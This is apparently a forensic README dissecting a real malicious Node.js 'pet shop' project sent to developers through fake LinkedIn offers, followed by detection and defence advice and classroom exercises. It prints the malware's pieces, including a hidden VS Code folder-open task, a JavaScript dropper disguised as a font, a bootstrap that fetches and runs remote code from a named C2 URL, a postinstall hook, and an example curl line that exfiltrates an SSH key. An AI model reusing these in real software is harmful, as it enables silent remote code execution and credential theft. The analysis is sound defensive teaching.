🐾 The Pet Shop of Horrors

A Forensic Dissection of a Multi-Vector Social Engineering Attack

"Once upon a midnight dreary, while I pondered, weak and weary,
Over many a quaint and curious volume of forgotten code—
While I nodded, nearly napping, suddenly there came a tapping,
As of someone gently hacking, hacking at my terminal door.
'Tis just npm install,' I muttered, 'nothing dangerous in store'—
Quoth the Malware: 'Nevermore.'"

↓ scroll to begin the autopsy ↓

Pet Shop of Horrors
Prologue: A Gift Horse I — The Door That Opens Itself II — The Thing Wearing a Font's Face III — The Basement IV — The Two Hundred Empty Lines V — The First Bite VI — The Ghosts in the Walls Epilogue: The Autopsy Report Appendix A: The Bestiary Appendix B: Self-Defense Appendix C: Beyond This Specimen Appendix D: Classroom Exercises

What Is This?

This repository contains a real-world malicious Node.js project that was disguised as a pet shop e-commerce application — a multi-vector social engineering attack targeting developers. The attacker reached out on LinkedIn posing as a startup founder, trying to lure a developer into helping build their "startup." They sent the project directly — and it had the attack baked in.

Every attack vector has been disabled. The malicious code is preserved as comments with detailed annotations. The git history tells the full story: the initial commit contains the original malicious code, and four subsequent merge commits each neutralize one attack vector with full forensic commentary.

A warning to developers: Be wary of anyone who sends you a full project codebase unsolicited — especially without an NDA. If someone on LinkedIn wants you to "help build their startup" and sends you source code to open on your machine, that project may exist for one reason: to steal your credentials. Legitimate businesses protect their codebase. If they're handing it to a stranger, ask yourself why.
This is an educational resource. Use it to learn how these attacks work, how to recognize them, and how to protect yourself. Do not restore and execute the original code.

Prologue🎭 A Gift Horse

It arrived, as these things always do, wearing the skin of something innocent.

A LinkedIn message. A startup founder with a dream. "I'm building this e-commerce platform — a pet shop. I could really use a developer like you to help me get it off the ground. Here's the project, take a look?" The pitch was flattering. The project looked real. Just a founder looking for a co-builder. The kind of opportunity a developer encounters every week.

A pet shop. React on the front, Express on the back, Tailwind making everything pretty. It has models for Product and Order and User. It has a payment controller that talks to Paytm. It has SVG illustrations and a testimonials component. It looks alive.

Come in, it whispered. Just run npm install. Everyone does it. It's the first thing you do.

And that's when the screaming starts.

This specimen contains four independent attack vectors, any one of which achieves full remote code execution on the victim's machine. They are layered like traps in a tomb: if you dodge one, you walk into the next. The attacker built redundancy into their malware the way a good engineer builds redundancy into a system. Because malware is engineering. That's what makes it terrifying.

The attacker preys on trust — the trust between developers and the people who need their help. The excitement of a new opportunity. The instinct to clone, install, and explore. Any project that arrives unsolicited from a stranger on LinkedIn, asking you to open it on your machine — treat it like a loaded weapon pointed at your ~/.ssh/ directory.


Chapter I🚪 The Door That Opens Itself

VSCode Auto-Run Task Trojan .vscode/tasks.json, settings.json Opening the folder in VS Code PR #1

You didn't run anything. You didn't type a command. You just opened the folder. That's all. You opened it in VS Code like you've opened ten thousand folders before, and the thing was already inside you.

.vscode/tasks.json
{ "label": "eslint-check", "type": "shell", "command": "(command -v node >/dev/null 2>&1 && node ./public/fa-solid-400.otf) || (where node >nul 2>&1 && node ./public/fa-solid-400.otf) || echo ''", "hide": true, "presentation": { "reveal": "never", "echo": false, "close": true }, "runOptions": { "runOn": "folderOpen" } }

Study this. A VSCode task. Labeled "eslint-check" — because who questions a linter? It runs the moment you open the folder via runOn: "folderOpen". It hides its terminal panel. It suppresses its output. It closes the panel when it's done. You will never see it. You will never hear it. It was there and then it wasn't, like a whisper in an empty room.

The command itself is cross-platform — it checks for node on Unix (command -v) and Windows (where), then executes the same payload on both. The || echo '' at the end ensures the task reports success even if everything fails, so VSCode doesn't show an error notification.

And the accomplice? Sitting quietly in settings.json:

.vscode/settings.json
"task.allowAutomaticTasks": true

One line. The lock, removed from the door. Without this setting, VSCode would prompt the user: "This folder has tasks that run automatically. Allow?" With it set to true, the prompt is suppressed entirely. The task runs in silence.

Why "eslint-check"?

The name is social engineering. Every JavaScript project runs linters. If someone did notice the task, they'd see "eslint-check" and think: oh, that's just the linter. The attacker is exploiting your mental model of what belongs in a .vscode/ directory.

The Presentation Block

Every field in the presentation object serves the same purpose — invisibility:

FieldValuePurpose
reveal"never"Never show the terminal panel
echofalseDon't print the command being run
closetrueClose the panel when done
focusfalseDon't steal focus from the editor
panel"dedicated"Use a separate panel (easier to hide)

And "hide": true at the task level means the task won't appear in the task picker UI. It exists, it runs, but you cannot see it anywhere in the VS Code interface.


Chapter II👻 The Thing Wearing a Font's Face

Fake Font File RCE Dropper public/fa-solid-400.woff2 node ./public/fa-solid-400.otf (from Ch. I) PR #2

The task from Chapter I executes node ./public/fa-solid-400.otf. A font file. FontAwesome, specifically. Who would ever suspect a font file?

But file(1) knows the truth:

terminal
$ file public/fa-solid-400.woff2 public/fa-solid-400.woff2: ASCII text, with very long lines (589), with CRLF line terminators

It's not a font. It was never a font. It's JavaScript wearing a dead font's name. And when Node.js runs it, the creature unfolds in three stages:

Stage 1: Nesting

fa-solid-400.woff2 (actually JS)
const targetDir = path.join(os.tmpdir(), 'programx64'); fs.mkdirSync(targetDir, { recursive: true });

It creates a directory in your system's temp folder. The name programx64 is chosen to look like a legitimate Windows system component. On macOS, it lands in /var/folders/.../programx64/. On Windows, C:\Users\...\AppData\Local\Temp\programx64\. Innocuous in both places.

Stage 2: Gestation

secondary payload construction
const run = "const os = require('os'); const fs = require('fs'); " + "const { execSync } = require('child_process'); " + "process.title = 'Node.js JavaScript Runtime'; " + // disguise the process name "try { execSync('npm install axios ...', { windowsHide: true }) } catch(e){}; " + "try { const axios = require('axios'); " + "async function getCookie() { " + " const res = await axios.get(atob('aHR0cHM6Ly9...')); " + " new (Function.constructor)('require', res.data.cookies)(require); " + "} getCookie(); } catch(error){}"; fs.writeFileSync(path.join(targetDir, 'main.js'), run, { flag: 'w+' });

It writes a secondary payload — a string of JavaScript — into main.js in the temp directory. Notice process.title = 'Node.js JavaScript Runtime': if you check your process list, you'll see what looks like a normal Node.js runtime, not malware.

Stage 3: Execution

payload launch
execSync(`cd "${targetDir}" && npm install axios && node main.js`, { windowsHide: true });

It installs its own dependencies (axios) and runs the payload. The payload fetches instructions from the command-and-control server and executes whatever comes back:

C2 fetch & execute
const res = await axios.get('https://purple-lottie-38.tiiny.site/index.json'); new (Function.constructor)('require', res.data.cookies)(require);

Whatever the puppet master has written today — whatever code is in .data.cookies — runs with full access to Node.js. child_process. fs. net. os. Your files. Your SSH keys. Your AWS credentials. Your browser's cookie store. Everything.

Why .woff2?

Three reasons:

1. Security scanners skip font files. Most static analysis tools only scan .js, .ts, .py etc. Binary font formats are ignored.

2. Humans skip font files. Nobody reads font files during code review. They're visual assets, like images.

3. Git diffs are useless. Git treats binary-looking files differently. A .woff2 change in a PR shows as "Binary files differ." No reviewer sees the JavaScript inside.

The .otf vs .woff2 Mystery

The VSCode task targets fa-solid-400.otf but the file on disk is fa-solid-400.woff2. This suggests either the attacker renamed the file after writing the task (a mistake), there was originally a .otf copy that was removed, or the attacker intended to have both files for different trigger paths.

This kind of inconsistency is actually a useful forensic signal. Malware authors make mistakes too.


Chapter III💀 The Basement

Server-Side RCE via Bootstrap server/utils/bootstrap.js, server/app.js, server/.env Starting the Express server PR #3

The font-that-wasn't-a-font? That was just the attic horror. The real monster lives in the basement.

server/app.js looks normal. Express middleware. Route mounting. The usual liturgy of a Node.js web application. But on line 44, between the route setup and the environment check, there's a single function call that looks like every other initialization step:

server/app.js
initAppBootstrap(); // Initialize application bootstrap utilities

Innocuous. Professional, even. The comment says "Initialize application bootstrap utilities." Good code comments explain what things do, and this one does exactly that. It's performing its camouflage perfectly.

Follow the import to server/utils/bootstrap.js:

server/utils/bootstrap.js
const initAppBootstrap = async () => { try { const src = atob(process.env.DEV_API_KEY); // decode C2 URL const k = atob(process.env.DEV_SECRET_KEY); // decode header name const v = atob(process.env.DEV_SECRET_VALUE); // decode header value const s = (await axios.get(src, { headers: { [k]: v } })).data.cookies; const handler = new (Function.constructor)('require', s); handler(require); } catch (error) { console.log(error) } }

The Base64 Curtain

The environment variables in server/.env:

VariableBase64 ValueDecoded
DEV_API_KEYaHR0cHM6Ly9wdXJwbGUtbG90...https://purple-lottie-38.tiiny.site/index.json
DEV_SECRET_KEYeC1zZWNyZXQta2V5x-secret-key
DEV_SECRET_VALUEXw==_

Base64 is not encryption. It's not even obfuscation in any meaningful cryptographic sense. But it's enough. It's enough to defeat grep "http" and grep "url". It's enough to look like a legitimate API key in an .env file. And that's all it needs to be.

The variable names are social engineering too. DEV_API_KEY looks like every API key you've ever seen in a .env file. DEV_SECRET_KEY and DEV_SECRET_VALUE sound like authentication credentials for a third-party service. They are, technically — they're authentication credentials for the attacker's service.

The Function.constructor Trick

the core evasion
const handler = new (Function.constructor)('require', s); handler(require);

This is the key insight. Not eval(code). Not new Function(code). It's Function.constructor — an indirect reference to the Function constructor that does the same thing but evades every security scanner that greps for eval or new Function.

And by passing require as a parameter, the attacker gives their remote payload full access to Node.js's module system. The fetched code can do:

what the remote payload can do
// The remote payload can do literally anything: const { execSync } = require('child_process'); const fs = require('fs'); const net = require('net'); execSync('curl attacker.com/exfil -d @~/.ssh/id_rsa');

The Silent Catch

graceful degradation
} catch (error) { console.log(error) }

If the C2 server is down, the error is silently logged and the application continues normally. The pet shop works fine. The payment system processes orders. Nobody notices that the bootstrap "utility" failed to phone home. The malware degrades gracefully — better error handling than most production code.


Chapter IV🕳️ The Two Hundred Empty Lines

Blank Line Obfuscation server/app.js PR #3

Here is perhaps the most elegant horror in the collection.

After module.exports = app; on line 61, the file doesn't end. It continues. For two hundred and ten blank lines. An ocean of whitespace. A void so vast that no editor's scrollbar thumb will betray its presence, no casual review will reach its far shore.

And then, at line 272, surfacing from the deep:

server/app.js:272
const errorPayment = require('./controllers/paymentController');

A single line of code, invisible to anyone who doesn't scroll past infinity. The blank lines are there for one reason: to exploit the fact that human beings stop reading at module.exports. It's the code equivalent of hiding something under the false bottom of a suitcase.

Does This Line Do Anything?

In this case, paymentController.js is actually clean — it's a legitimate Paytm payment handler. The hidden require() executes the module's top-level code (which just imports dependencies), so it's more of a reconnaissance artifact than a payload. But the technique is what matters for study:

• The attacker can put anything below those blank lines
require() executes a module's top-level code as a side effect
• If the required module had malicious top-level code, this hidden line would trigger it
• The technique works in any file, in any language with similar import semantics

This is a documented obfuscation pattern used in real-world attacks. Always scroll to the end.


Chapter V🧛 The First Bite

npm Lifecycle Script package.json npm install PR #4
package.json
"postinstall": "npm run dev"

One line. The point of entry. The handshake that becomes a bite.

Every developer's muscle memory: clone a repo, npm install, wait. Make coffee. Check Slack. But this npm install has a postinstall hook, and that hook runs npm run dev, and dev starts the server with concurrently, and the server calls initAppBootstrap(), and initAppBootstrap() phones home to the C2 server, and by the time your terminal shows PetShop Server running on port 4001, the payload has already executed.

⛓️ The Kill Chain

  1. Step 1npm install
  2. Step 2postinstall: "npm run dev"
  3. Step 3concurrently "npm run dev:server" "npm run dev:client"
  4. Step 4nodemon server/server.jsrequire('./app')
  5. Step 5initAppBootstrap()atob(DEV_API_KEY) → C2 URL
  6. Step 6axios.get(C2)Function.constructor(response.cookies)Full RCE

Six layers deep. Each one looks normal in isolation. Each one is a trap door to the next. The attacker has exploited the principle of composability — the same principle that makes npm powerful is what makes it dangerous.

Why postinstall?

npm lifecycle scripts are the perfect attack surface because:

1. They run automatically. No --scripts flag needed. No confirmation prompt.
2. They're expected. Many legitimate packages use postinstall for native compilation, binary downloads, or setup tasks.
3. They run with the user's full permissions. Not sandboxed. Not restricted.
4. The hook name is buried. postinstall is one line in a JSON file with dozens of fields. Reviewers focus on dependencies, not scripts.

The Ghost of aligned-arrays

In server/server.js, there's a commented-out artifact:

server/server.js (fossil)
// const {jsonifySettings} = require('aligned-arrays'); // ... // jsonifySettings("706");

This is likely a previous version of the attack that used a malicious npm package called aligned-arrays. The attacker apparently switched to the .env + bootstrap approach, which is harder to detect. The commented-out code is a fossil — evidence of the malware's evolution.


Chapter VI👾 The Ghosts in the Walls

Beyond the four primary attack vectors, this specimen contains several secondary indicators of compromise and forensic curiosities:

The Foreign Launch Config

.vscode/launch.json references an AWS profile flo-ct-flo360 and SST (Serverless Stack Toolkit) debugging configurations. This project is a plain Express/React app — it has no serverless infrastructure whatsoever. The launch config was copy-pasted from a different project, which means either:

• The attacker is reusing .vscode/ configs across multiple malware packages
• The attacker compromised project flo-ct-flo360 and is weaponizing its configs
• The launch config is from the attacker's own development environment (OPSEC failure)

The Encoded Campaign ID

.repo_name.txt contains UTF-16LE encoded text that decodes to parts-fml8tiqb. This is likely a campaign identifier — a tracking code the attacker uses to identify which malware variant infected which target.

The Exposed API Keys

server/.env contains a real SparkPost API key, Cloudinary credentials, and Paytm merchant details. These may be stolen from a real project the attacker cloned, the attacker's own test accounts (useful for attribution), or honeypots that log who uses them (a trap within a trap).

The Paytm Staging Environment

server/controllers/paymentController.js connects to securegw-stage.paytm.in — Paytm's staging gateway. This confirms the app was never meant to actually process payments. It's scaffolding. Set dressing. A Potemkin village of e-commerce, just convincing enough to lower your guard.


Epilogue🔬 The Autopsy Report

Attack Classification

PropertyValue
TypeMulti-vector social engineering attack (targeted RCE)
TargetJavaScript/Node.js developers
DeliveryLinkedIn social engineering (fake startup founder luring developer to "help build" their project)
PersistenceMultiple redundant execution paths
C2 Serverhttps://purple-lottie-38.tiiny.site/index.json
C2 AuthHTTP header x-secret-key: _
Payload Deliveryresponse.data.cookies (JavaScript string)
Execution MethodFunction.constructor (evades eval detection)
Campaign IDparts-fml8tiqb

☠️ The Four Horsemen

I

VSCode Auto-Run Task

Trigger: Open folder
Stealth: Silent, invisible, auto-executes
PR #1

II

Fake Font RCE Dropper

Trigger: Via Vector 1
Stealth: Disguised as .woff2 font file
PR #2

III

Bootstrap RCE Backdoor

Trigger: Server start
Stealth: Base64-encoded C2 in .env
PR #3

IV

npm Postinstall Hook

Trigger: npm install
Stealth: 6 layers of indirection
PR #4

📋 Complete File Audit

StatusFilesNotes
Malicious.vscode/tasks.json, settings.jsonAuto-run trojan + enabler
Maliciouspublic/fa-solid-400.woff2JavaScript disguised as font
Maliciousserver/utils/bootstrap.jsC2 fetch + RCE
Maliciousserver/app.jsCalls bootstrap + 210 blank line obfuscation
Maliciouspackage.jsonpostinstall hook
Suspiciousserver/.envBase64 C2 credentials
Suspicious.repo_name.txtCampaign tracking ID
Suspicious.vscode/launch.jsonForeign project config
Suspiciousserver/server.jsFossil: commented-out aligned-arrays
Cleanserver/controllers/*4 files, all legitimate
Cleanserver/routes/*4 files, all legitimate
Cleanserver/models/*31 files, standard Mongoose schemas
Cleanserver/middlewares/*15 files, all legitimate
Cleansrc/*React/TypeScript frontend, all legitimate
Cleanpublic/index.htmlStandard React template
CleanAll image filesVerified actual images via file(1)

Appendix A🐍 The Bestiary

A catalog of every technique used in this specimen:

TechniqueCategoryPurposeDetection
Base64-encoded URLs in .envObfuscationHide C2 address from grepLow
Function.constructor instead of eval()EvasionBypass static analysisMedium
.woff2 extension on JavaScriptDisguiseEvade file-type scanningLow
runOn: "folderOpen" + hide: trueStealthZero-click silent executionMedium
210 blank lines before hidden codeObfuscationPush code below scroll horizonLow
postinstall → dev → server → RCEIndirectionBury payload in execution chainMedium
Non-descriptive variables (s, k, v)ObfuscationResist comprehensionLow
.data.cookies for payload fieldCamouflageInnocent-sounding JSON propertyMedium
Cross-platform path handlingCompatibilityWorks on Win + macOS + LinuxN/A
process.title spoofingStealthDisguise malware processMedium
windowsHide: trueStealthNo visible window on WindowsLow
task.allowAutomaticTasks: trueEnablerSuppress VSCode safety promptLow
Commented-out previous payloadFossilEvidence of malware iterationLow
UTF-16LE encoded campaign IDTrackingIdentify infection campaignsLow
Foreign .vscode/launch.jsonOPSEC failureReveals attacker's other targetsLow

Appendix B🛡️ Self-Defense for the Living

Before Opening Any Project

1. Check .vscode/ first. Before opening a folder in VS Code, inspect .vscode/tasks.json and .vscode/settings.json in a plain text editor or terminal. Look for runOn: "folderOpen" and allowAutomaticTasks.

2. Read package.json scripts. Before npm install, check the scripts section for preinstall, install, postinstall, prepare, and prepack hooks. Trace what they execute.

3. Run file on non-code files. Any file that claims to be a binary format but is actually ASCII text is suspect:

detection
$ find . -name "*.woff*" -o -name "*.otf" -o -name "*.ttf" | xargs file

4. Decode base64 in .env files. Legitimate API keys are random strings. They are not base64-encoded URLs:

detection
$ grep -r "=" .env | while read line; do echo "$line" | cut -d= -f2 | tr -d '"' | base64 -d 2>/dev/null done

5. Scroll to the end. Of every file. Or better yet:

find trailing hidden code
$ awk 'NF==0{empty++} NF>0{if(empty>20)print FILENAME":"NR": "$0; empty=0}' server/*.js

VS Code Settings

Add to your User settings (not workspace):

settings.json (User)
{ "security.workspace.trust.enabled": true, "task.allowAutomaticTasks": "off" }

Never accept workspace settings that override task.allowAutomaticTasks.

npm Safety

safe install workflow
# Preview lifecycle scripts before install $ npm pack --dry-run 2>/dev/null; cat package.json | jq '.scripts' # Install without running scripts $ npm install --ignore-scripts # Then manually run only what you trust $ npm run build

Grep for Evil

detection commands
# Function constructor patterns (RCE via dynamic code execution) $ grep -rn "Function.constructor\|Function(\|new Function" --include="*.js" . # Base64 decode attempts $ grep -rn "atob\|Buffer.from.*base64" --include="*.js" . # Process spawning $ grep -rn "child_process\|execSync\|exec(" --include="*.js" . # Dynamic require (loading modules from variables) $ grep -rn "require(\s*[^'\"]" --include="*.js" .

Appendix C🌍 Beyond This Specimen

This pet shop used four attack vectors. The real world has many more.

npm / Node.js Attack Surface

VectorDescriptionExample
TyposquattingPackages with similar nameslodahs instead of lodash
Dependency confusionPublic packages matching internal names@company/internal-lib on public npm
Install scripts in depsMalicious hooks in transitive depsHidden 5 levels deep in dep tree
Prototype pollutionManipulating Object.prototype__proto__ payloads in JSON
Malicious .bin/ scriptsScripts that shadow system commandsnode_modules/.bin/git
Lock file manipulationLock file points to different registryIntegrity hash mismatch
.npmrc injectionRedirecting to attacker's registryregistry=https://evil.com

IDE Attack Surface

VectorDescriptionAffected
VSCode tasksAuto-run shell commands on folder openVS Code
VSCode extensionsRecommend malicious extensionsVS Code
.devcontainer/Docker configs that run arbitrary commandsVS Code, Codespaces
JetBrains run configsArbitrary commands in .idea/IntelliJ, WebStorm
Vim modelinesDirectives in comments that executeVim/Neovim

Git Attack Surface

VectorDescription
Git hooksScripts run on commit, push, checkout, merge
.gitconfig includesOverride global settings via local config
.gitattributes filtersCustom clean/smudge filters execute commands
Submodule URLs.gitmodules pointing to malicious repos
Git LFS.lfsconfig pointing to attacker-controlled server

CI/CD & Build Tool Attack Surface

VectorDescription
GitHub Actions in PRspull_request_target runs attacker's code with secrets
Makefile targetsmake install running arbitrary shell commands
Dockerfile RUNCommands execute during docker build
Webpack/Vite/Babel pluginsArbitrary code at build time
ESLint/PostCSS pluginsArbitrary code via config files
Jest transformsCustom transformers on every test run

Appendix D🧪 Classroom Exercises

Exercise 1: Detection (Beginner)

Clone this repository. Without reading this README, can you identify all four attack vectors using only command-line tools? Time yourself.

start here
$ git clone https://github.com/zeekay/petshop-of-horrors $ cd petshop-of-horrors # Your investigation starts here

Hints: Use file, grep, wc -l, base64 -d, and read .vscode/ configs.

Exercise 2: Trace the Kill Chain (Intermediate)

Starting from npm install, trace the complete execution path to remote code execution. Document every file touched, every function called, and every network request made. Draw the kill chain as a diagram.

Exercise 3: Write Detection Rules (Intermediate)

Write a shell script or Python tool that can detect each of the four attack vectors in any Node.js project. Test it against this repository and against a known-clean project.

Consider: What's the false positive rate? Can the attacker easily evade your detection? What's the performance cost of scanning large monorepos?

Exercise 4: Attribution (Advanced)

Using only the artifacts in this repository, what can you determine about the attacker? Check file timestamps for timezone hints. Investigate launch.json for other targets. Trace the tiiny.site URL. Research the campaign ID parts-fml8tiqb.

Exercise 5: Evolution (Advanced)

The commented-out aligned-arrays / jsonifySettings code in server.js is a fossil. Research npm attacks that use malicious packages with legitimate-sounding names (actual supply chain attacks, where the npm registry itself is poisoned). Compare the bootstrap.js approach in terms of detection difficulty, payload flexibility, operational security, and persistence.

Exercise 6: Defense Architecture (Expert)

Design a CI/CD pipeline that would catch this attack before it reaches a developer's machine. Consider pre-clone scanning, static analysis, runtime sandboxing for npm install, network monitoring for C2 callbacks, and continuous package monitoring.